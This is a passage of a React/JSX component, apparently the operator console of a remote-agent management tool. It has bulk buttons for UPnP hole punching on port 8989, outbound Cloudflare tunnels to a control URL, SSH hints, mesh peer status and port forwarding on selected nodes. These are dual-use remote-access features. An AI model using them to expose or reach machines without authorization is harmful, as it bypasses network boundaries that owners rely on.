<div><strong>Connect directly</strong> on the same LAN, <code className="crucible-code">ssh user@&lt;ip&gt;</code>. Node IP is on each roster card.</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div><strong>Remote (via tunnel)</strong> use Protocol Tunneling or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out to your control URL.</div>
</div>
</div>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Tunnels & WAN IP" className="cop-network" helpField="crucible_section_tunnels" defaultOpen>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
WAN IP
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}>
Hole Punch
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_close')} title={aggTitle('hole_punch_close')} onClick={() => aggBulk('hole_punch_close', { command: '8989' })}>
Close UPnP
</button>
<div className="crucible-inline-row" style={{ width: '100%' }}>
<input className="crucible-inline-input" placeholder="Cloudflare target URL (optional)" value={tunnelURL} onChange={(e) => setTunnelURL(e.target.value)} />
<button
type="button"
className="button crucible-op-btn"
disabled={aggDisabled('tunnel_cloudflared')}
title={aggTitle('tunnel_cloudflared') || 'Open outbound Cloudflare tunnel'}
onClick={() => aggBulk('tunnel_cloudflared', { command: tunnelURL.trim() })}
>
Start Tunnel
</button>
</div>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('tunnel_stop')} title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'} onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}>
Stop Tunnels
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('mesh_status')} title={aggTitle('mesh_status')} onClick={() => aggBulk('mesh_status')}>
Mesh Peers
</button>
</CrucibleCollapsibleSection>
{singleSelectedAgent && (
<CrucibleCollapsibleSection label="Protocol Tunneling" className="cop-ssh" helpField="crucible_section_protocol_tunnel" defaultOpen>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={singleSelectedAgent.status === 'online'}
caps={singleSelectedAgent.capabilities}
platform={singleSelectedAgent.platform}
compact
lastTunnelStatusMessage={tunnelStatusMsg}
busy={null}
onDispatch={onDispatchTunnel}
/>
</CrucibleCollapsibleSection>
)}
<CrucibleCollapsibleSection label="Port-Forward Matrix" className="cop-ssh" helpField="crucible_section_portfwd">
<CruciblePortForwardMatrix selectedAgents={selectedAgents} onEcho={onEcho} onDispatch={(agent, action, args) => dispatchOne(agent, action, args)} />
</CrucibleCollapsibleSection>
</div>
);
}
return null;
}